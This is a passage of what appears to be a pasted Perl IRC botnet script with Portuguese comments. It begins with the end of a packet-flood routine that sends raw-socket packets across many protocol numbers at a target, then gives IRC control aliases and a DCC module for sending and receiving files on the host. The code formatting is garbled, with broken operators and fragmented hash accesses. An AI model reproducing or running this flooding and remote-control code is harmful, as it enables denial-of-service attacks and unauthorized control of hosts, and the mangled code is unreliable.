  864. #
  865. DoS ? ? : P
  866. for (my $pc = 3; $pc <= 255; $pc++) {
  867. next
  868. if $pc == 6;
  869. $cur_time = time - $itime;
  870. last
  871. if $cur_time >= $ftime;
  872. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  873. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  874. o
  875. }++
  876. if ($pacotes == 1);
  877. }
  878. }
  879. last
  880. if $cur_time >= $ftime;
  881. }
  882. return ($cur_time, % pacotes);
  883. }
  884.  
  885. ##############
  886. ALIASES##############
  887.  
  888. sub action {
  889. return unless $# _ == 1;
  890. sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  891. }
  892.  
  893. sub ctcp {
  894. return unless $# _ == 1;
  895. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  896. }
  897. sub msg {
  898. return unless $# _ == 1;
  899. sendraw("PRIVMSG $_[0] :$_[1]");
  900. }
  901.  
  902. sub notice {
  903. return unless $# _ == 1;
  904. sendraw("NOTICE $_[0] :$_[1]");
  905. }
  906.  
  907. sub op {
  908. return unless $# _ == 1;
  909. sendraw("MODE $_[0] +o $_[1]");
  910. }
  911. sub deop {
  912. return unless $# _ == 1;
  913. sendraw("MODE $_[0] -o $_[1]");
  914. }
  915. sub hop {
  916. return unless $# _ == 1;
  917. sendraw("MODE $_[0] +h $_[1]");
  918. }
  919. sub dehop {
  920. return unless $# _ == 1;
  921. sendraw("MODE $_[0] +h $_[1]");
  922. }
  923. sub voice {
  924. return unless $# _ == 1;
  925. sendraw("MODE $_[0] +v $_[1]");
  926. }
  927. sub devoice {
  928. return unless $# _ == 1;
  929. sendraw("MODE $_[0] -v $_[1]");
  930. }
  931. sub ban {
  932. return unless $# _ == 1;
  933. sendraw("MODE $_[0] +b $_[1]");
  934. }
  935. sub unban {
  936. return unless $# _ == 1;
  937. sendraw("MODE $_[0] -b $_[1]");
  938. }
  939. sub kick {
  940. return unless $# _ == 1;
  941. sendraw("KICK $_[0] $_[1] :$_[2]");
  942. }
  943.  
  944. sub modo {
  945. return unless $# _ == 0;
  946. sendraw("MODE $_[0] $_[1]");
  947. }
  948. sub mode {
  949. modo(@_);
  950. }
  951.  
  952. sub j { & join(@_);
  953. }
  954. sub join {
  955. return unless $# _ == 0;
  956. sendraw("JOIN $_[0]");
  957. }
  958. sub p {
  959. part(@_);
  960. }
  961. sub part {
  962. sendraw("PART $_[0]");
  963. }
  964.  
  965. sub nick {
  966. return unless $# _ == 0;
  967. sendraw("NICK $_[0]");
  968. }
  969.  
  970. sub invite {
  971. return unless $# _ == 1;
  972. sendraw("INVITE $_[1] $_[0]");
  973. }
  974. sub topico {
  975. return unless $# _ == 1;
  976. sendraw("TOPIC $_[0] $_[1]");
  977. }
  978. sub topic {
  979. topico(@_);
  980. }
  981.  
  982. sub whois {
  983. sendraw("WHOIS $_[0]");
  984. }
  985. sub who {
  986. return unless $# _ == 0;
  987. sendraw("WHO $_[0]");
  988. }
  989. sub names {
  990. return unless $# _ == 0;
  991. sendraw("NAMES $_[0]");
  992. }
  993. sub away {
  994. sendraw("AWAY $_[0]");
  995. }
  996. sub back {
  997. away();
  998. }
  999. sub quit {
  1000. sendraw("QUIT :$_[0]");
  1001. exit;
  1002. }
  1003.  
  1004. #
  1005. DCC
  1006. package DCC;
  1007.  
  1008. sub connections {
  1009. my@ ready = $dcc_sel - > can_read(1);#
  1010. return unless(@ready);
  1011. foreach my $fh(@ready) {
  1012. my $dcctipo = $DCC {
  1013. $fh
  1014. } {
  1015. tipo
  1016. };
  1017. my $arquivo = $DCC {
  1018. $fh
  1019. } {
  1020. arquivo
  1021. };
  1022. my $bytes = $DCC {
  1023. $fh
  1024. } {
  1025. bytes
  1026. };
  1027. my $cur_byte = $DCC {
  1028. $fh
  1029. } {
  1030. curbyte
  1031. };
  1032. my $nick = $DCC {
  1033. $fh
  1034. } {
  1035. nick
  1036. };
  1037.  
  1038. my $msg;
  1039. my $nread = sysread($fh, $msg, 10240);
  1040.  
  1041. if ($nread == 0 and $dcctipo = ~/^(get|sendcon)$/) {
  1042. $DCC {
  1043. $fh
  1044. } {
  1045. status
  1046. } = "Cancelado";
  1047. $DCC {
  1048. $fh
  1049. } {
  1050. ftime
  1051. } = time;
  1052. $dcc_sel - > remove($fh);
  1053. $fh - > close;
  1054. next;
  1055. }
  1056.  
  1057. if ($dcctipo eq "get") {
  1058. $DCC {
  1059. $fh
  1060. } {
  1061. curbyte
  1062. } += length($msg);
  1063.  
  1064. my $cur_byte = $DCC {
  1065. $fh
  1066. } {
  1067. curbyte
  1068. };
  1069.  
  1070. open(FILE, ">> $arquivo");
  1071. print FILE "$msg"
  1072. if ($cur_byte <= $bytes);
  1073. close(FILE);
  1074.  
  1075. my $packbyte = pack("N", $cur_byte);
  1076. print $fh "$packbyte";
  1077.  
  1078. if ($bytes == $cur_byte) {
  1079. $dcc_sel - > remove($fh);
  1080. $fh - > close;
  1081. $DCC {
  1082. $fh
  1083. } {
  1084. status
  1085. } = "Recebido";
  1086.  
  1087. $DCC {
  1088. $fh
  1089. } {
  1090. ftime
  1091. } = time;
  1092. next;
  1093. }
  1094. }
  1095. elsif($dcctipo eq "send") {
  1096. my $send = $fh - > accept;
  1097. $send - > autoflush(1);
  1098. $dcc_sel - > add($send);
  1099. $dcc_sel - > remove($fh);
  1100. $DCC {
  1101. $send
  1102. } {
  1103. tipo
  1104. } = 'sendcon';
  1105. $DCC {
  1106. $send
  1107. } {
  1108. itime
  1109. } = time;
  1110. $DCC {
  1111. $send
  1112. } {
  1113. nick
  1114. } = $nick;
  1115. $DCC {
  1116. $send
  1117. } {
  1118. bytes
  1119. } = $bytes;
  1120. $DCC {
  1121. $send
  1122. } {
  1123. curbyte
  1124. } = 0;
  1125. $DCC {
  1126. $send
  1127. } {
  1128. arquivo
  1129. } = $arquivo;
  1130. $DCC {
  1131. $send
  1132. } {
  1133. ip
  1134. } = $send - > peerhost;
  1135. $DCC {
  1136. $send
  1137. } {
  1138. porta
  1139. } = $send - > peerport;
  1140. $DCC {
  1141. $send
  1142. } {
  1143. status
  1144. } = "Enviando";
  1145.  
  1146. #
  1147. de cara manda os primeiro 1024 bytes do arkivo..o resto fik com o sendcon
  1148. open(FILE, "< $arquivo");
  1149. my $fbytes;
  1150. read(FILE, $fbytes, 1024);
  1151. print $send "$fbytes";
  1152. close FILE;#
  1153. delete($DCC {
  1154. $fh
  1155. });
  1156. }
  1157. elsif($dcctipo eq 'sendcon') {
  1158. my $bytes_sended = unpack("N", $msg);
  1159. $DCC {
  1160. $fh
  1161. } {
  1162. curbyte
  1163. } = $bytes_sended;
  1164. if ($bytes_sended == $bytes) {
  1165. $fh - > close;
  1166. $dcc_sel - > remove($fh);
  1167. $DCC {
  1168. $fh
  1169. } {
  1170. status
  1171. } = "Enviado";
  1172. $DCC {
  1173. $fh
  1174. } {
  1175. ftime
  1176. } = time;
  1177. next;
  1178. }
  1179. open(SENDFILE, "< $arquivo");
  1180. seek(SENDFILE, $bytes_sended, 0);
  1181. my $send_bytes;
  1182. read(SENDFILE, $send_bytes, 1024);
  1183. print $fh "$send_bytes";
  1184. close(SENDFILE);
  1185. }
  1186. }
  1187. }
  1188.  
  1189.  
  1190. sub SEND {
  1191. my($nick, $arquivo) = @_;
  1192. unless(-r "$arquivo") {
  1193. return (0);
  1194. }
  1195.  
  1196. my $dccark = $arquivo;
  1197. $dccark = ~s / [.*\/](\S+)/$
  1198. 1 / ;
  1199.  
  1200. my $meuip = $::irc_servers {
  1201. "$::IRC_cur_socket"
  1202. } {
  1203. 'meuip'
  1204. };
  1205. my $longip = unpack("N", inet_aton($meuip));
  1206.  
  1207. my@ filestat = stat($arquivo);
  1208. my $size_total = $filestat[7];
  1209. if ($size_total == 0) {
  1210. return (0);
  1211. }
  1212.  
  1213. my($porta, $sendsock);
  1214. do {
  1215. $porta = int rand(64511);
  1216. $porta += 1024;
  1217. $sendsock = IO::Socket::INET - > new(Listen => 1, LocalPort => $porta, Proto => 'tcp') and $dcc_sel - > add($sendsock);
  1218. }
  1219. until $sendsock;
  1220.  
  1221. $DCC {
  1222. $sendsock
  1223. } {
  1224. tipo
  1225. } = 'send';
  1226. $DCC {
  1227. $sendsock
  1228. } {
  1229. nick
  1230. } = $nick;
  1231. $DCC {
  1232. $sendsock
  1233. } {
  1234. bytes
  1235. } = $size_total;
  1236. $DCC {
  1237. $sendsock
  1238. } {
  1239. arquivo
  1240. } = $arquivo;
  1241.  
  1242.  
  1243. & ::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  1244.  
  1245. }
  1246.  
  1247. sub GET {
  1248. my($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  1249. return (0) if (-e "$arquivo");
  1250. if (open(FILE, "> $arquivo")) {
  1251. close FILE;
  1252. } else {
  1253. return (0);
  1254. }
  1255.  
  1256. my $dccip = fixaddr($dcclongip);
  1257. return (0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  1258. my $dccsock = IO::Socket::INET - > new(Proto => "tcp", PeerAddr => $dccip, PeerPort => $dccporta, Timeout => 15) or
  1259. return (0);
  1260. $dccsock - > autoflush(1);
  1261. $dcc_sel - > add($dccsock);
  1262. $DCC {
  1263. $dccsock
  1264. } {
  1265. tipo
  1266. } = 'get';
  1267. $DCC {
  1268. $dccsock
  1269. } {
  1270. itime
  1271. } = time;
  1272. $DCC {
  1273. $dccsock
  1274. } {
  1275. nick
  1276. } = $nick;
  1277. $DCC {
  1278. $dccsock
  1279. } {
  1280. bytes
  1281. } = $bytes;
  1282. $DCC {
  1283. $dccsock
  1284. } {
  1285. curbyte
  1286. } = 0;
  1287. $DCC {
  1288. $dccsock
  1289. } {
  1290. arquivo
  1291. } = $arquivo;
  1292. $DCC {
  1293. $dccsock
  1294. } {
  1295. ip
  1296. } = $dccip;
  1297. $DCC {
  1298. $dccsock
  1299. } {
  1300. porta
  1301. } = $dccporta;
  1302. $DCC {
  1303. $dccsock
  1304. } {
  1305. status
  1306. } = "Recebendo";
  1307. }
  1308.  
  1309. #
  1310. po fico xato de organiza o status..dai fiz ele retorna o status de acordo com o socket..dai o ADM.pl lista os sockets e faz as perguntas
  1311. sub Status {
  1312. my $socket = shift;
  1313. my $sock_tipo = $DCC {
  1314. $socket
  1315. } {
  1316. tipo
  1317. };
  1318. unless(lc($sock_tipo) eq "chat") {
  1319. my $nick = $DCC {
  1320. $socket
  1321. } {
  1322. nick
  1323. };
  1324. my $arquivo = $DCC {
  1325. $socket
  1326. } {
  1327. arquivo
  1328. };
  1329. my $itime = $DCC {
  1330. $socket
  1331. } {
  1332. itime
  1333. };
  1334. my $ftime = time;
  1335. my $status = $DCC {
  1336. $socket
  1337. } {
  1338. status
  1339. };
  1340. $ftime = $DCC {
  1341. $socket
  1342. } {
  1343. ftime
  1344. }
  1345. if defined($DCC {
  1346. $socket
  1347. } {
  1348. ftime
  1349. });
  1350.  
  1351. my $d_time = $ftime - $itime;
  1352.  
  1353. my $cur_byte = $DCC {
  1354. $socket
  1355. } {
  1356. curbyte
  1357. };
  1358. my $bytes_total = $DCC {
  1359. $socket
  1360. } {
  1361. bytes
  1362. };
  1363.  
  1364. my $rate = 0;
  1365. $rate = ($cur_byte / 1024) / $d_time
  1366. if $cur_byte > 0;
  1367. my $porcen = ($cur_byte * 100) / $bytes_total;
  1368.  
  1369. my($r_duv, $p_duv);
  1370. if ($rate = ~/^(\d+)\.(\d)(\d)(\d)/) {
  1371. $r_duv = $3;
  1372. $r_duv++
  1373. if $4 >= 5;
  1374. $rate = "$1\.$2".
  1375. "$r_duv";
  1376. }
  1377. if ($porcen = ~/^(\d+)\.(\d)(\d)(\d)/) {
  1378. $p_duv = $3;
  1379. $p_duv++
  1380. if $4 >= 5;
  1381. $porcen = "$1\.$2".
  1382. "$p_duv";
  1383. }
  1384. return ("$sock_tipo", "$status", "$nick", "$arquivo", "$bytes_total", "$cur_byte", "$d_time", "$rate", "$porcen");
  1385. }
  1386.  
  1387.  
  1388. return (0);
  1389. }
  1390.  
  1391.  
  1392. #
  1393. esse 'sub fixaddr'
  1394. daki foi pego do NET::IRC::DCC identico soh copiei e coloei(colokar nome do autor)
  1395. sub fixaddr {
  1396. my($address) = @_;
  1397.  
  1398. chomp $address;#
  1399. just in
  1400. case, sigh.
  1401. if($address = ~/^\d+$/) {
  1402. return inet_ntoa(pack "N", $address);
  1403. }
  1404. elsif($address = ~/^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  1405. return $address;
  1406. }
  1407. elsif($address = ~tr / a - zA - Z //) { # Whee! Obfuscation!
  1408. return inet_ntoa(((gethostbyname($address))[4])[0]);
  1409. } else {
  1410. return;
  1411. }
  1412. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement